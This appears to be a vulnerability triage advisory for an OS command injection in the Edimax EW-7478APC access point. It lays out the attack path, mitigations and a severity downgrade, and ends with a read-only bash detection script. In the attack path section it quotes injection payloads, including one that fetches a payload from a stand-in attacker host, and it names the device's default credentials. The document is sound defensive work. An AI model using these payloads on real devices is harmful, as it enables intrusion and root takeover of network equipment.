CVE-2026-13560 · Edimax EW-7478APC formAccept submit-url OS Command Injection

01 · The Real Story

This is the IT equivalent of finding a skeleton key fits a lock on a shed that was condemned six years ago

CVE-2026-13560 is an OS command injection in the Edimax EW-7478APC wireless access point, firmware version 1.04. The vulnerable endpoint is /goform/formAccept, where the submit-url parameter is passed unsanitized into a system shell call. An authenticated attacker (PR:L per the CVSS vector) who can POST to the management interface can execute arbitrary commands as root on the underlying Linux OS. The device is a consumer/SOHO-grade Wi-Fi 5 (802.11ac) access point — *not* an enterprise-managed AP. Edimax officially discontinued the EW-7478APC on January 10, 2020, and stated that firmware updates, technical support, and services are permanently unavailable. No patch exists, and the vendor did not respond to the researcher's disclosure.

The vendor's MEDIUM (6.3) rating is technically accurate for the CVSS vector in isolation, but it overstates the real-world risk for any enterprise fleet. The device's installed base in managed networks is negligible — this is a ~$50 consumer AP sold through Amazon and regional retailers, not something procured through enterprise channel partners or managed by WLAN controllers. The C:L/I:L/A:L impact triple already reflects limited blast radius, and when you layer on the authentication requirement (even accounting for common default credentials on SOHO gear), the near-zero enterprise footprint, and the absence of any in-the-wild exploitation, the effective severity for a 10,000-host enterprise drops well below MEDIUM. The real action item here isn't patching — it's asset hygiene: find these devices and decommission them.

"EOL SOHO access point with command injection — replace the hardware, don't chase a patch."

02 · The Attack Path

4 steps from start to impact.

STEP 01

Identify and reach the management interface

The attacker must locate an Edimax EW-7478APC on the network and access its HTTP management interface, typically served on port 80. By default, the admin panel is only accessible from the LAN side. In the rare case where remote management is enabled, the interface would be reachable from the WAN — but this is off by default and uncommon on SOHO gear.

Conditions required:

Network adjacency or remote management enabled on the device
Device is powered on and running firmware 1.04

Where this breaks in practice:

Management interface is LAN-only by default — remote exploitation requires the attacker to already be on the same network segment
The Edimax EW-7478APC has virtually zero presence in managed enterprise environments; finding one requires the target to have deployed unsanctioned SOHO hardware

Detection/coverage: Network inventory tools (Rumble/runZero, Nmap OS fingerprinting) can identify Edimax devices by HTTP server banners and /goform/ path patterns.

STEP 02

Authenticate to the web interface

The CVSS vector specifies PR:L — the attacker needs valid credentials to the admin panel. Edimax EW-7478APC ships with default credentials (admin / 1234). Many SOHO deployments never change these, effectively reducing the authentication barrier to a dictionary check. However, the device does enforce session-based login before allowing access to /goform/ endpoints.

Conditions required:

Valid credentials for the web management panel
Default credentials unchanged (common in SOHO) or credentials obtained via other means

Where this breaks in practice:

An attacker who already has LAN access and default-credential access to a SOHO AP has likely already compromised the network through other, easier vectors
No known credential-bypass or auth-bypass CVE for this specific model simplifies exploitation

Detection/coverage: Authentication attempts would appear in the device's syslog if logging is enabled, but SOHO APs rarely forward logs to a SIEM.

STEP 03

Send crafted POST to /goform/formAccept

With an authenticated session, the attacker sends a POST request to /goform/formAccept with a malicious submit-url parameter containing shell metacharacters and an injected command (e.g., submit-url=|id or submit-url=$(wget http://attacker/payload)). The formAccept handler passes this value directly to a system() call without sanitization, achieving arbitrary command execution as root on the underlying BusyBox Linux environment.

Conditions required:

Authenticated session from step 2
Knowledge of the vulnerable parameter (publicly documented)

Where this breaks in practice:

The PoC is hosted on a Notion page — it's a write-up, not a weaponized exploit kit or Metasploit module, which limits drive-by use by low-skill attackers
Impact is confined to a single SOHO access point with limited compute, storage, and connectivity

Detection/coverage: No Nuclei template, no Metasploit module. Web application firewalls are not typically deployed in front of SOHO AP management interfaces.

STEP 04

Establish persistence or pivot

After gaining root shell on the AP's BusyBox environment, the attacker can install a reverse shell, modify DNS settings to redirect traffic, enable packet captures, or attempt to pivot to other devices on the LAN. However, the device has extremely limited flash storage (~8-16MB), no package manager, and typically runs on a MIPS architecture, which limits the attacker's post-exploitation tooling.

Conditions required:

Successful command injection from step 3

Where this breaks in practice:

MIPS architecture limits available payloads — most commodity RATs and C2 agents don't have MIPS builds
Limited flash storage means persistent implants are fragile and lost on reboot
The AP is likely on a flat SOHO network with minimal high-value targets behind it

Detection/coverage: Anomalous DNS changes or outbound connections from an AP's IP would be visible on a network monitoring solution, but SOHO environments rarely have this capability.

03 · Compensating Control

LOW 3.0→IGNORE 0.0

SEVERITY REDUCED

Decommission and replace all Edimax EW-7478APC units — This device has been end-of-life since January 2020 and will never receive a security update. It has at least 7 known CVEs across its firmware. The only durable remediation is physical removal and replacement with a supported access point. Per the noisgate remediation SLA for LOW-severity findings, treat this as backlog hygiene — but given the EOL status, prioritize during your next hardware refresh cycle.

LOW 3.0→LOW 2.0

Isolate management interface to a dedicated VLAN — If immediate replacement is not feasible, place the AP's management interface on a dedicated management VLAN with ACLs restricting access to authorized admin workstations only. This eliminates the LAN-adjacent attack vector for non-admin users. Does not fix the vulnerability but removes reachability.

LOW 3.0→LOW 2.5

Change default credentials to a strong, unique password — Replace the factory-default admin/1234 credentials with a strong passphrase. This hardens the PR:L authentication requirement and prevents trivial exploitation via default credential lists. Does not fix the command injection but makes step 2 of the attack path significantly harder.

LOW 3.0→LOW 2.0

Disable remote management (WAN-side admin access) — Ensure the 'Remote Management' feature is turned off in the AP's settings. This is off by default but should be verified. Prevents any internet-facing exposure of the vulnerable /goform/ endpoints.

What doesn't work

WAF or IPS in front of the AP — SOHO access points do not sit behind web application firewalls. The management interface is an embedded HTTP server on the device itself; inline inspection is architecturally impractical.
Firmware update — no patch exists and none will be released. Edimax ended support on January 10, 2020. Do not waste time waiting for or requesting a fix.
Network-level vulnerability scanning — most enterprise vulnerability scanners (Qualys, Tenable, Rapid7) do not carry authenticated checks for Edimax SOHO firmware. Unauthenticated scans may fingerprint the device but cannot confirm the specific CVE.

04 · Intelligence Metadata

The supporting signals.

In-the-Wild Exploitation	No evidence. Not listed in CISA KEV. No GreyNoise tags for Edimax EW-7478APC exploitation. No campaign attribution or threat actor reporting.
Proof-of-Concept	Public. A write-up with reproduction steps is hosted on a Notion page (linked from VulDB submission #844110). No dedicated GitHub repo for CVE-2026-13560 found. No Nuclei template, no Metasploit module, no ExploitDB entry. pocindex.io does not index a PoC for this CVE.
EPSS	0.01986 (1.99%) — low exploitation probability. Consistent with a niche SOHO device with no weaponized tooling.
KEV Status	Not listed. No CISA Known Exploited Vulnerabilities entry.
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L` — network-accessible, low complexity, but requires authentication and delivers only low-impact across all three CIA pillars. Scope is unchanged (contained to the vulnerable device).
Affected Versions	Edimax EW-7478APC firmware 1.04 only. This is believed to be the last firmware version released before end-of-life.
Patch Availability	None. Will never exist. The EW-7478APC was discontinued on January 10, 2020. Edimax has confirmed no further firmware updates, support, or services. The vendor did not respond to the researcher's disclosure.
Scanning & Exposure	No Shodan or Censys dorks return meaningful counts for this specific model. Edimax SOHO APs are not commonly internet-exposed; management interfaces default to LAN-only access. Estimated internet-facing population: negligible.
Disclosure Date	2026-06-29 — publicly disclosed via VulDB and coordinated through the CNA process.
Related CVEs	The same firmware has at least 6 additional CVEs (CVE-2026-13581, CVE-2026-19959 through CVE-2026-19963) covering command injection and buffer overflow across multiple `/goform/` endpoints. The device is fundamentally insecure.

Sources.

05 · The Call

Final Verdict

↓ DOWNGRADED to LOW (3.0/10)

Why this verdict

Authentication required: PR:L means the attacker needs valid credentials. While default creds are common on SOHO gear, this still adds a gate that eliminates fully unauthenticated mass scanning campaigns.
Negligible enterprise footprint: The Edimax EW-7478APC is a ~$50 consumer-grade access point sold through Amazon and regional retailers. It is not procured through enterprise channels, not managed by WLAN controllers (Cisco WLC, Aruba Central, Meraki), and has no presence in enterprise asset inventories. For a team managing 10,000 hosts, the probability of having one in-scope is near zero.
EOL since January 2020 — no patch possible: This device has been unsupported for over six years. Any instance in your fleet is already a policy violation under any reasonable hardware lifecycle standard. The correct remediation is decommissioning, not patching.
LAN-only management by default: The web interface is not exposed to the internet unless remote management is deliberately enabled. Even on a flat LAN, the attacker needs adjacency.
Low-impact CIA triple: The CVSS vector itself only claims C:L/I:L/A:L — the vendor acknowledges limited impact even in the successful exploitation case.
Role multiplier: The EW-7478APC is a consumer wireless access point. It occupies only the (a) low-value role in any deployment taxonomy. It is not a network edge appliance in the enterprise sense (not a firewall, VPN concentrator, or WAN gateway). It is not an identity provider, hypervisor, CI/CD system, backup target, or any other high-value role. Blast radius on compromise is host-level — limited to the single AP and its directly-connected wireless clients. No domain-scale, fleet-scale, or supply-chain impact. The high-value-role floor does not apply.

Why not higher?

Despite the public PoC and the absence of any patch, the device has virtually no enterprise presence, the management interface requires authentication and is LAN-only by default, and the blast radius is limited to a single low-value SOHO access point. There is no evidence of in-the-wild exploitation, no KEV listing, and no weaponized tooling (no Metasploit, no Nuclei). Upgrading to MEDIUM would overstate the risk for any enterprise patch queue.

Why not lower?

The PoC is public and functional, default credentials make the authentication barrier thin, and the device will never receive a patch. An attacker on the same LAN segment can achieve root-level command execution with minimal skill. These factors prevent dropping to IGNORE — if you have one in your environment, it demands action (decommission), just not urgent patching-queue attention.

06 · Verification

Crowdsourced verification payload.

Run this script from any Linux/macOS workstation on the same network as the suspected Edimax device. Invoke with: bash check_cve_2026_13560.sh 192.168.1.1 (replace with the AP's IP). No special privileges required — it uses only curl and string matching.

noisgate-verify.sh

BASHREAD-ONLYSAFE

#!/usr/bin/env bash
# check_cve_2026_13560.sh — Detect Edimax EW-7478APC vulnerable to CVE-2026-13560
# Usage: bash check_cve_2026_13560.sh <target_ip>
# Exit codes: 0 = VULNERABLE, 1 = PATCHED/NOT_AFFECTED, 2 = UNKNOWN

set -euo pipefail

TARGET="${1:-}"
if [ -z "$TARGET" ]; then
  echo "Usage: $0 <target_ip>"
  exit 2
fi

BASE_URL="http://${TARGET}"

# Step 1: Check if the target responds and looks like an Edimax device
echo "[*] Probing ${BASE_URL} for Edimax EW-7478APC fingerprint..."
RESP=$(curl -sk -m 10 -o - "${BASE_URL}/" 2>/dev/null || true)

if [ -z "$RESP" ]; then
  echo "[!] No HTTP response from ${TARGET}."
  echo "UNKNOWN"
  exit 2
fi

# Look for Edimax identifiers in the login/index page
if echo "$RESP" | grep -qi 'edimax\|EW-7478'; then
  echo "[+] Edimax device detected."
else
  echo "[-] Target does not appear to be an Edimax device."
  echo "PATCHED"
  exit 1
fi

# Step 2: Check for the vulnerable endpoint
echo "[*] Checking for /goform/formAccept endpoint..."
ENDPOINT_CHECK=$(curl -sk -m 10 -o /dev/null -w '%{http_code}' "${BASE_URL}/goform/formAccept" 2>/dev/null || echo "000")

if [ "$ENDPOINT_CHECK" = "000" ]; then
  echo "[!] Could not reach /goform/formAccept endpoint."
  echo "UNKNOWN"
  exit 2
fi

# Step 3: Check firmware version from status page
echo "[*] Attempting to identify firmware version..."
STATUS_PAGE=$(curl -sk -m 10 -o - "${BASE_URL}/status.htm" 2>/dev/null || true)
VERSION_PAGE=$(curl -sk -m 10 -o - "${BASE_URL}/syscmd.htm" 2>/dev/null || true)

FW_VERSION=""
if echo "$STATUS_PAGE$VERSION_PAGE" | grep -qoi '1\.04'; then
  FW_VERSION="1.04"
  echo "[+] Firmware version 1.04 detected."
elif echo "$STATUS_PAGE$RESP" | grep -qi 'EW-7478APC'; then
  echo "[+] EW-7478APC model confirmed. Firmware version not parsed but only 1.04 is known."
  FW_VERSION="assumed_1.04"
fi

# Step 4: Verdict
if echo "$RESP" | grep -qi 'EW-7478' && [ -n "$FW_VERSION" ] && [ "$ENDPOINT_CHECK" != "404" ]; then
  echo ""
  echo "============================================"
  echo "VULNERABLE — CVE-2026-13560"
  echo "Edimax EW-7478APC fw ${FW_VERSION}"
  echo "/goform/formAccept endpoint present (HTTP ${ENDPOINT_CHECK})"
  echo "Device is EOL (discontinued 2020-01-10). Replace immediately."
  echo "============================================"
  exit 0
else
  echo ""
  echo "============================================"
  echo "UNKNOWN — Could not conclusively confirm vulnerability."
  echo "Device may be Edimax but model/version not confirmed."
  echo "============================================"
  exit 2
fi